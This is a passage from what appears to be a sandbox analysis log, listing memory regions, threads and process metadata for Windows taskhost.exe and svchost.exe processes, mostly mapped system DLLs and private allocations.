(normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 3652 start_va = 0x2050000 end_va = 0x20cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002050000" filename = "" Region: id = 3653 start_va = 0x2170000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002170000" filename = "" Region: id = 3654 start_va = 0x21f0000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 3655 start_va = 0x22b0000 end_va = 0x232ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 3656 start_va = 0x2450000 end_va = 0x24cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002450000" filename = "" Region: id = 3657 start_va = 0x24d0000 end_va = 0x279efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3658 start_va = 0x2970000 end_va = 0x297ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002970000" filename = "" Region: id = 3659 start_va = 0x3940000 end_va = 0x39bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003940000" filename = "" Region: id = 3660 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3661 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3662 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3663 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3664 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3665 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3666 start_va = 0xffef0000 end_va = 0xfff03fff monitored = 0 entry_point = 0xffef2ce0 region_type = mapped_file name = "taskhost.exe" filename = "\\Windows\\System32\\taskhost.exe" (normalized: "c:\\windows\\system32\\taskhost.exe") Region: id = 3667 start_va = 0x7fef8790000 end_va = 0x7fef879bfff monitored = 0 entry_point = 0x7fef879602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 3668 start_va = 0x7fef8940000 end_va = 0x7fef894dfff monitored = 0 entry_point = 0x7fef8945d28 region_type = mapped_file name = "dimsjob.dll" filename = "\\Windows\\System32\\dimsjob.dll" (normalized: "c:\\windows\\system32\\dimsjob.dll") Region: id = 3669 start_va = 0x7fef8c60000 end_va = 0x7fef8c9afff monitored = 0 entry_point = 0x7fef8c622f0 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 3670 start_va = 0x7fef8f10000 end_va = 0x7fef8f83fff monitored = 0 entry_point = 0x7fef8f166f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 3671 start_va = 0x7fefa040000 end_va = 0x7fefa057fff monitored = 0 entry_point = 0x7fefa041630 region_type = mapped_file name = "playsndsrv.dll" filename = "\\Windows\\System32\\PlaySndSrv.dll" (normalized: "c:\\windows\\system32\\playsndsrv.dll") Region: id = 3672 start_va = 0x7fefa060000 end_va = 0x7fefa09cfff monitored = 0 entry_point = 0x7fefa061bdc region_type = mapped_file name = "msutb.dll" filename = "\\Windows\\System32\\msutb.dll" (normalized: "c:\\windows\\system32\\msutb.dll") Region: id = 3673 start_va = 0x7fefa0a0000 end_va = 0x7fefa0aafff monitored = 0 entry_point = 0x7fefa0a1290 region_type = mapped_file name = "msctfmonitor.dll" filename = "\\Windows\\System32\\MsCtfMonitor.dll" (normalized: "c:\\windows\\system32\\msctfmonitor.dll") Region: id = 3674 start_va = 0x7fefa160000 end_va = 0x7fefa16afff monitored = 0 entry_point = 0x7fefa1648d8 region_type = mapped_file name = "hotstartuseragent.dll" filename = "\\Windows\\System32\\HotStartUserAgent.dll" (normalized: "c:\\windows\\system32\\hotstartuseragent.dll") Region: id = 3675 start_va = 0x7fefa810000 end_va = 0x7fefa81afff monitored = 0 entry_point = 0x7fefa814f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 3676 start_va = 0x7fefa820000 end_va = 0x7fefa82bfff monitored = 0 entry_point = 0x7fefa8215d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 3677 start_va = 0x7fefa8e0000 end_va = 0x7fefa8f4fff monitored = 0 entry_point = 0x7fefa8e60d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 3678 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3679 start_va = 0x7fefaff0000 end_va = 0x7fefb000fff monitored = 0 entry_point = 0x7fefaff1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 3680 start_va = 0x7fefb190000 end_va = 0x7fefb1a7fff monitored = 0 entry_point = 0x7fefb191130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 3681 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3682 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3683 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3684 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3685 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3686 start_va = 0x7fefcc10000 end_va = 0x7fefcc4cfff monitored = 0 entry_point = 0x7fefcc118f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 3687 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 3688 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3689 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3690 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3691 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3692 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3693 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3694 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3695 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3696 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3697 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3698 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3699 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3700 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3701 start_va = 0x7fefeff0000 end_va = 0x7fefeff7fff monitored = 0 entry_point = 0x7fefeff1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3702 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3703 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3704 start_va = 0x7fffff74000 end_va = 0x7fffff75fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff74000" filename = "" Region: id = 3705 start_va = 0x7fffff78000 end_va = 0x7fffff79fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff78000" filename = "" Region: id = 3706 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 3707 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 3708 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3709 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3710 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 3711 start_va = 0x7fffffd7000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 3712 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 3713 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3714 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3715 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 5695 start_va = 0x23b0000 end_va = 0x242ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5696 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Thread: id = 373 os_tid = 0x6e0 Thread: id = 374 os_tid = 0xdc0 Thread: id = 375 os_tid = 0xcc4 Thread: id = 376 os_tid = 0x9c Thread: id = 377 os_tid = 0x660 Thread: id = 378 os_tid = 0x5b4 Thread: id = 379 os_tid = 0x5ac Thread: id = 380 os_tid = 0x490 Thread: id = 381 os_tid = 0x47c Thread: id = 382 os_tid = 0x478 Thread: id = 532 os_tid = 0xea4 Process: id = "24" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x7a8a1000" os_pid = "0x494" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BFE" [0xe], "NT SERVICE\\DPS" [0xa], "NT SERVICE\\MpsSvc" [0xa], "NT SERVICE\\pla" [0xa], "NT SERVICE\\WwanSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00011669" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7] Region: id = 5024 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5025 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 5026 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5027 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 5028 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5029 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 5030 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 5031 start_va = 0xe0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 5032 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 5033 start_va = 0x1b0000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5034 start_va = 0x230000 end_va = 0x236fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bfe.dll.mui" filename = "\\Windows\\System32\\en-US\\bfe.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\bfe.dll.mui") Region: id = 5035 start_va = 0x240000 end_va = 0x240fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 5036 start_va = 0x250000 end_va = 0x250fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 5037 start_va = 0x260000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 5038 start_va = 0x270000 end_va = 0x277fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 5039 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 5040 start_va = 0x290000 end_va = 0x290fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 5041 start_va = 0x2a0000 end_va = 0x2acfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 5042 start_va = 0x2c0000 end_va = 0x2dbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "firewallapi.dll.mui" filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\firewallapi.dll.mui") Region: id = 5043 start_va = 0x300000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 5044 start_va = 0x400000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 5045 start_va = 0x500000 end_va = 0x687fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 5046 start_va = 0x690000 end_va = 0x810fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 5047 start_va = 0x820000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 5048 start_va = 0x8a0000 end_va = 0x91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 5049 start_va = 0x930000 end_va = 0x931fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000930000" filename = "" Region: id = 5050 start_va = 0x980000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 5051 start_va = 0xac0000 end_va = 0xb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 5052 start_va = 0xb50000 end_va = 0xe1efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 5053 start_va = 0xe90000 end_va = 0xf0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e90000" filename = "" Region: id = 5054 start_va = 0xf40000 end_va = 0xfbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f40000" filename = "" Region: id = 5055 start_va = 0x10a0000 end_va = 0x111ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010a0000" filename = "" Region: id = 5056 start_va = 0x1140000 end_va = 0x11bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001140000" filename = "" Region: id = 5057 start_va = 0x11d0000 end_va = 0x124ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011d0000" filename = "" Region: id = 5058 start_va = 0x12c0000 end_va = 0x133ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012c0000" filename = "" Region: id = 5059 start_va = 0x13e0000 end_va = 0x14dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013e0000" filename = "" Region: id = 5060 start_va = 0x1530000 end_va = 0x15affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001530000" filename = "" Region: id = 5061 start_va = 0x1600000 end_va = 0x167ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001600000" filename = "" Region: id = 5062 start_va = 0x1680000 end_va = 0x177ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001680000" filename = "" Region: id = 5063 start_va = 0x17e0000 end_va = 0x185ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017e0000" filename = "" Region: id = 5064 start_va = 0x18e0000 end_va = 0x195ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000018e0000" filename = "" Region: id = 5065 start_va = 0x1970000 end_va = 0x19effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001970000" filename = "" Region: id = 5066 start_va = 0x1b30000 end_va = 0x1baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b30000" filename = "" Region: id = 5067 start_va = 0x1bb0000 end_va = 0x1daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001bb0000" filename = "" Region: id = 5068 start_va = 0x1de0000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 5069 start_va = 0x1f50000 end_va = 0x206ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 5070 start_va = 0x2070000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002070000" filename = "" Region: id = 5071 start_va = 0x2290000 end_va = 0x230ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 5072 start_va = 0x2400000 end_va = 0x240ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 5073 start_va = 0x2420000 end_va = 0x249ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002420000" filename = "" Region: id = 5074 start_va = 0x2560000 end_va = 0x275ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 5075 start_va = 0x28f0000 end_va = 0x296ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028f0000" filename = "" Region: id = 5076 start_va = 0x2d10000 end_va = 0x2f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d10000" filename = "" Region: id = 5077 start_va = 0x2f10000 end_va = 0x330ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 5078 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5079 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5080 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5081 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5082 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5083 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5084 start_va = 0xffa90000 end_va = 0xffa9afff monitored = 0 entry_point = 0xffa9246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 5085 start_va = 0x7fef8790000 end_va = 0x7fef879bfff monitored = 0 entry_point = 0x7fef879602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 5086 start_va = 0x7fef87a0000 end_va = 0x7fef87acfff monitored = 0 entry_point = 0x7fef87a6fb0 region_type = mapped_file name = "wdiasqmmodule.dll" filename = "\\Windows\\System32\\wdiasqmmodule.dll" (normalized: "c:\\windows\\system32\\wdiasqmmodule.dll") Region: id = 5087 start_va = 0x7fef87b0000 end_va = 0x7fef87ccfff monitored = 0 entry_point = 0x7fef87b1a28 region_type = mapped_file name = "radardt.dll" filename = "\\Windows\\System32\\radardt.dll" (normalized: "c:\\windows\\system32\\radardt.dll") Region: id = 5088 start_va = 0x7fef87d0000 end_va = 0x7fef87d7fff monitored = 0 entry_point = 0x7fef87d22f8 region_type = mapped_file name = "pnpts.dll" filename = "\\Windows\\System32\\pnpts.dll" (normalized: "c:\\windows\\system32\\pnpts.dll") Region: id = 5089 start_va = 0x7fef8a40000 end_va = 0x7fef8b89fff monitored = 0 entry_point = 0x7fef8a41100 region_type = mapped_file name = "diagperf.dll" filename = "\\Windows\\System32\\diagperf.dll" (normalized: "c:\\windows\\system32\\diagperf.dll") Region: id = 5090 start_va = 0x7fef8f10000 end_va = 0x7fef8f83fff monitored = 0 entry_point = 0x7fef8f166f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 5091 start_va = 0x7fef98f0000 end_va = 0x7fef9908fff monitored = 0 entry_point = 0x7fef98f2b50 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 5092 start_va = 0x7fef9c80000 end_va = 0x7fef9cabfff monitored = 0 entry_point = 0x7fef9c856f8 region_type = mapped_file name = "dps.dll" filename = "\\Windows\\System32\\dps.dll" (normalized: "c:\\windows\\system32\\dps.dll") Region: id = 5093 start_va = 0x7fef9f30000 end_va = 0x7fef9f39fff monitored = 0 entry_point = 0x7fef9f33dd4 region_type = mapped_file name = "wfapigp.dll" filename = "\\Windows\\System32\\wfapigp.dll" (normalized: "c:\\windows\\system32\\wfapigp.dll") Region: id = 5094 start_va = 0x7fef9f70000 end_va = 0x7fefa03dfff monitored = 0 entry_point = 0x7fef9f71e18 region_type = mapped_file name = "mpssvc.dll" filename = "\\Windows\\System32\\MPSSVC.dll" (normalized: "c:\\windows\\system32\\mpssvc.dll") Region: id = 5095 start_va = 0x7fefa0b0000 end_va = 0x7fefa15ffff monitored = 0 entry_point = 0x7fefa0c28b0 region_type = mapped_file name = "bfe.dll" filename = "\\Windows\\System32\\BFE.DLL" (normalized: "c:\\windows\\system32\\bfe.dll") Region: id = 5096 start_va = 0x7fefa4b0000 end_va = 0x7fefa4c7fff monitored = 0 entry_point = 0x7fefa4b1bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 5097 start_va = 0x7fefa4d0000 end_va = 0x7fefa4e0fff monitored = 0 entry_point = 0x7fefa4d16ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 